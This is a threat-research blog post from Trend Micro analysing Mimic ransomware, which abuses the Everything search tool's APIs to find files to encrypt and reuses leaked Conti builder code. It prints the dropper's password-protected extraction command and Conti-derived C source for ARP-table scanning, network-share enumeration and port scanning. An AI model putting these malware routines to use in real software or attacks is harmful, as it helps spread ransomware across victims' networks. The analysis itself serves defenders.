New Mimic Ransomware Abuses Everything APIs for its Encryption Process

By Nathaniel Morales, Earle Maui Earnshaw, Don Ovid Ladores, Nick Dai, Nathaniel Gregory Ragasa (words)

Published: 2023-01-26 · Archived: 2026-04-05 21:33:27 UTC

Ransomware

Trend Micro researchers discovered a new ransomware that abuses the APIs of a legitimate tool called Everything, a Windows filename search engine developed by Voidtools that offers quick searching and real-time updates for minimal resource usage.

By: Nathaniel Morales, Earle Maui Earnshaw, Don Ovid Ladores, Nick Dai, Nathaniel Gregory Ragasa Jan 26, 2023 Read time: 5 min (1240 words)

Save to Folio

Trend Micro researchers discovered a new ransomware that abuses the APIs of a legitimate tool called Everything, a Windows filename search engine developed by Voidtools that offers quick searching and real-time updates for minimal resource usage. This ransomware (which we named Mimic based on a string we found in its binaries), was first observed in the wild in June 2022 and targets Russian and English-speaking users. It is equipped with multiple capabilities such as deleting shadow copies, terminating multiple applications and services, and abusing Everything32.dll functions to query target files that are to be encrypted.

In this blog entry, we will take a closer look at the Mimic ransomware, its components and functions, and its connection to the Conti builder that was leaked in early 2022.

Arrival and components

Mimic arrives as an executable that drops multiple binaries and a password-protected archive (disguised as Everything64.dll) which when extracted, contains the ransomware payload. It also includes tools that are used for turning off Windows defender and legitimate sdel binaries.

Filename	Description
7za.exe	**Legitimate 7zip file that is used to extract the payload**
Everything.exe	**Legitimate Everything application**
Everything32.dll	**Legitimate Everything application**
Everything64.dll	**Password protected archive that contains the malicious payloads**

Table 1. Details of the Mimic ransomware components

When executed, it will first drop its components to the %Temp%/7zipSfx folder. It will then extract the password protected Everything64.dll to the same directory using the dropped 7za.exe via the following command:

%Temp%\7ZipSfx.000\7za.exe" x -y -p20475326413135730160 Everything64.dll

It will also drop the session key file session.tmp to the same directory, which will be used for continuing the encryption in case the process is interrupted.

It will then copy the dropped files to “%LocalAppData%\{Random GUID}\”, after which the ransomware will be renamed to bestplacetolive.exe and the original files deleted from the %Temp% directory.

Based on our analysis, Mimic supports other command line arguments as shown in table 2.

Cmdline option	Acceptable values	Description
-dir	File path to be encrypted	Directory for encryption
-e	all local net watch ul1 ul2	Encrypt all (Default) Encrypt Local files Encrypt files on Network shares ul:unlocker Creates a thread with interprocess communication and tries to unlock certain memory addresses from another process
-prot		Protects the ransomware from being killed
-pid	<integer>	The process identifier (PID) of the previously-running ransomware.

Table 2. Arguments accepted by Mimic ransomware

Mimic ransomware analysis

Mimic ransomware consists of multiple threads that employ the CreateThread function for faster encryption and render analysis more challenging for security researchers.

When executed, it will first register a hotkey (Ctrl + F1, using the RegisterHotKey API) that displays the status logs being performed by the ransomware.

The ransomware's config is located at its overlay and is decrypted using the NOT Operation.

Figure 8 shows a more thorough look at the config and its values.

Mimic ransomware possesses a plethora of capabilities, including the following:

- Collecting system information
- Creating persistence via the RUN key
- Bypassing User Account Control (UAC)
- Disabling Windows Defender
- Disabling Windows telemetry
- Activating anti-shutdown measures
- Activating anti-kill measures
- Unmounting Virtual Drives
- Terminating processes and services
- Disabling sleep mode and shutdown of the system
- Removing indicators
- Inhibiting System Recovery

Abusing Everything32 APIs for encryption

Mimic uses *Everything32.dll*, a legitimate Windows filename search engine that can return real time results for queries, in its routine. It abuses the tool by querying certain file extensions and filenames using Everything's APIs to retrieve the file's path for encryption.

It uses the Everything_SetSearchW function to search for files to be encrypted or avoided using the following search format:

file:<ext:{list of extension}>file:<!endwith:{list of files/directory to avoid}>wholefilename<!{list of files to avoid}>

The query used by Mimic to search for files to be encrypted or avoided can be found here.

It then appends the .QUIETPLACE file extension to the encrypted files and, finally, displays the ransom note.

Code from leaked Conti builder

From our analysis, some parts of the code seemed to be based on, and share several similarities with the Conti ransomwarenews article builder that was leaked in March 2022. For example, the enumeration of the encryption modes shares the same integer for both Mimic and Conti.

```
enum EncryptModes {

    ALL_ENCRYPT = 10,
    LOCAL_ENCRYPT = 11,
    NETWORK_ENCRYPT = 12,
    BACKUPS_ENCRYPT = 13

};
```

open on a new tab

Figure 13. Similarities between Mimic (top) and the leaked Conti builder (bottom)

The code related to argument **net** is also based on Conti. It will use the GetIpNetTable function to read the Address Resolution Protocol (ARP) cache and check if IP addresses contain “172.”, “192.168”, “10.”, or “169.” Mimic added a filter to exclude IP addresses that contain “169.254”, which is the IP range of Automatic Private IP Addressing (APIPA).

```
ULONG TableSize = 0;
PMIB_IPNETTABLE IpNetTable = NULL;

pGetIpNetTable(IpNetTable, &TableSize, FALSE);
if (!TableSize) {

    logs::Write(OBFW(L"GetIpNetTable fails. GetLastError = %lu"), pGetLastError())
    return FALSE;

}

IpNetTable = (PMIB_IPNETTABLE)m_malloc(TableSize);
if (!IpNetTable) {
    return FALSE;
}

ULONG Result = (ULONG)pGetIpNetTable(IpNetTable, &TableSize, FALSE);
if (Result != ERROR_SUCCESS) {

    logs::Write(OBFW(L"GetIpNetTable fails. GetLastError = %lu"), pGetLastError())
    m_free(IpNetTable);
    return FALSE;

}

for (ULONG i = 0; i < IpNetTable->dwNumEntries; i++) {

    WCHAR wszIpAddress[INET_ADDRSTRLEN];
    ULONG dwAddress = IpNetTable->table[i].dwAddr;
    PUCHAR HardwareAddres = IpNetTable->table[i].bPhysAddr;
    ULONG HardwareAddressSize = IpNetTable->table[i].dwPhysAddrLen;

    RtlSecureZeroMemory(wszIpAddress, sizeof(wszIpAddress));

    IN_ADDR InAddr;
    InAddr.S_un.S_addr = dwAddress;
    PCHAR szIpAddress = inet_ntoa(InAddr);
    DWORD le = WSAGetLastError();

    PCSTR p1 = (PCSTR)pStrStrIA(szIpAddress, OBFA("172."));
    PCSTR p2 = (PCSTR)pStrStrIA(szIpAddress, OBFA("192.168."));
    PCSTR p3 = (PCSTR)pStrStrIA(szIpAddress, OBFA("10."));
    PCSTR p4 = (PCSTR)pStrStrIA(szIpAddress, OBFA("169."));

    if (p1 == szIpAddress ||
        p2 == szIpAddress ||
        p3 == szIpAddress ||
        p4 == szIpAddress)
    {
```

open on a new tab

Figure 14. Comparison of the Mimic (top) and the leaked Conti builder (bottom) “net” argument

Mimic also uses the Conti code in Windows Share Enumeration, where it employs the NetShareEnum function to enumerate all shares on the gathered IP addresses.

```
VOID
network_scanner::EnumShares(
    __in PWCHAR pwszIpAddress,
    __out PSHARE_LIST ShareList
    )
{
    NET_API_STATUS Result;
    LPSHARE_INFO_1 ShareInfoBuffer = NULL;
    DWORD er = 0, tr = 0, resume = 0;;

    do
    {
        Result = (NET_API_STATUS)pNetShareEnum(pwszIpAddress, 1, (LPBYTE*)&ShareInfoBuffer, MAX_PREFERRED_LENGTH, &er, &tr, &resume);
        if (Result == ERROR_SUCCESS)
        {

            LPSHARE_INFO_1 TempShareInfo = ShareInfoBuffer;

            for (DWORD i = 1; i <= er; i++)
            {

                if (TempShareInfo->shi1_type == STYPE_DISKTREE  ||
                    TempShareInfo->shi1_type == STYPE_SPECIAL   ||
                    TempShareInfo->shi1_type == STYPE_TEMPORARY)
                {

                    PSHARE_INFO ShareInfo = (PSHARE_INFO)m_malloc(sizeof(SHARE_INFO));

                    if (ShareInfo && plstrcmpiW(TempShareInfo->shi1_netname, OBFW(L"ADMIN$"))) {

                        plstrcpyW(ShareInfo->wszSharePath, OBFW(L"\\\\"));
                        plstrcatW(ShareInfo->wszSharePath, pwszIpAddress);
                        plstrcatW(ShareInfo->wszSharePath, OBFW(L"\\"));
                        plstrcatW(ShareInfo->wszSharePath, TempShareInfo->shi1_netname);

                        logs::Write(OBFW(L"Found share %s."), ShareInfo->wszSharePath);
                        TAILQ_INSERT_TAIL(ShareList, ShareInfo, Entries);

                    }

                }

                TempShareInfo++;
```

open on a new tab

Figure 15. Comparison of the Mimic (top) and the leaked Conti (bottom) Share Enumeration function

Finally, Mimic's port scanning is also based on the Conti builder.

```
g_ActiveOperations = 0;
HANDLE hTimer = NULL;
BOOL IsTimerActivated = FALSE;

HANDLE hTimerQueue = pCreateTimerQueue();
if (!hTimerQueue) {
    pExitThread(EXIT_FAILURE);
}

while (TRUE) {

    DWORD dwBytesTransferred;
    ULONG_PTR CompletionStatus;
    PCONNECT_CONTEXT ConnectContext;

    BOOL Success = (BOOL)pGetQueuedCompletionStatus(g_IocpHandle, &dwBytesTransferred, &CompletionStatus, (LPOVERLAPPED*)&ConnectContext, INFINITE);

    if (CompletionStatus == START_COMPLETION_KEY) {

        if (!CreateHostTable()) {
            break;
        }

        ScanHosts();

        if (!pCreateTimerQueueTimer(&hTimer, hTimerQueue, &TimerCallback, NULL, 30000, 0, 0)) {
            pExitThread(EXIT_FAILURE);
        }

        IsTimerActivated = FALSE;

    } else if (CompletionStatus == CONNECT_COMPLETION_KEY) {

        g_ActiveOperations--;

        if (Success && CompleteAsyncConnect(ConnectContext->s)) {

            ConnectContext->State = CONNECTED;
            AddHost(ConnectContext->dwAddres);

        } else {

            ConnectContext->State = NOT_CONNECTED;

        }

        if (!g_ActiveOperations && IsTimerActivated) {

            while (!TAILQ_EMPTY(&g_ConnectionList)) {

                PCONNECT_CONTEXT ConnectCtx = TAILQ_FIRST(&g_ConnectionList);
                pshutdown(ConnectCtx->s, SD_SEND);
                pclosesocket(ConnectCtx->s);
                TAILQ_REMOVE(&g_ConnectionList, ConnectCtx, Entries);
                pGlobalFree(ConnectCtx);

            }
```

open on a new tab

Figure 16. Comparison of the Mimic (top) and leaked Conti builder (bottom) port scanning function

More information about the behavior of Mimic ransomware can be found in this report.

Conclusion

Mimic ransomware, with its multiple bundled capabilities, seems to implement a new approach to speeding up its routine by combining multiple running threads and abusing Everything's APIs for its encryption (minimizing resource usage, therefore resulting in more efficient execution). Furthermore, the threat actor behind Mimic seems to be resourceful and technically adept, using a leaked ransomware builder to capitalize on its various features, and even improve on it for more effective attacks.

To protect systems from ransomware attacks, we recommend that both individual users and organizations implement best practices such as applying data protection, backup, and recovery measures to secure data from possible encryption or erasure. Conducting regular vulnerability assessments and patching systems in a timely manner can also minimize the damage dealt by ransomware that abuse exploits.

A multilayered approach can help organizations guard possible entry points into the system (endpoint, email, web, and network). The right security solutions can also detect malicious components and suspicious behavior to protect enterprises.

- Trend Micro Vision One™one-platform provides multilayered protection and behavior detection, which helps block questionable behavior and tools early on before the ransomware can do irreversible damage to the system.
- Trend Micro Cloud One™ Workload Securityproducts protects systems against both known and unknown threats that exploit vulnerabilities. This protection is made possible through techniques such as virtual patching and machine learning.
- Trend Micro™ Deep Discovery™ Email Inspectorproducts employs custom sandboxing and advanced analysis techniques to effectively block malicious emails, including phishing emails that can serve as entry points for ransomware.
- Trend Micro Apex One™products offers next-level automated threat detection and response against advanced concerns such as fileless threats and ransomware, ensuring the protection of endpoints.

Indicators of Compromise

The indicators of compromise for this entry can be found here.

Tags
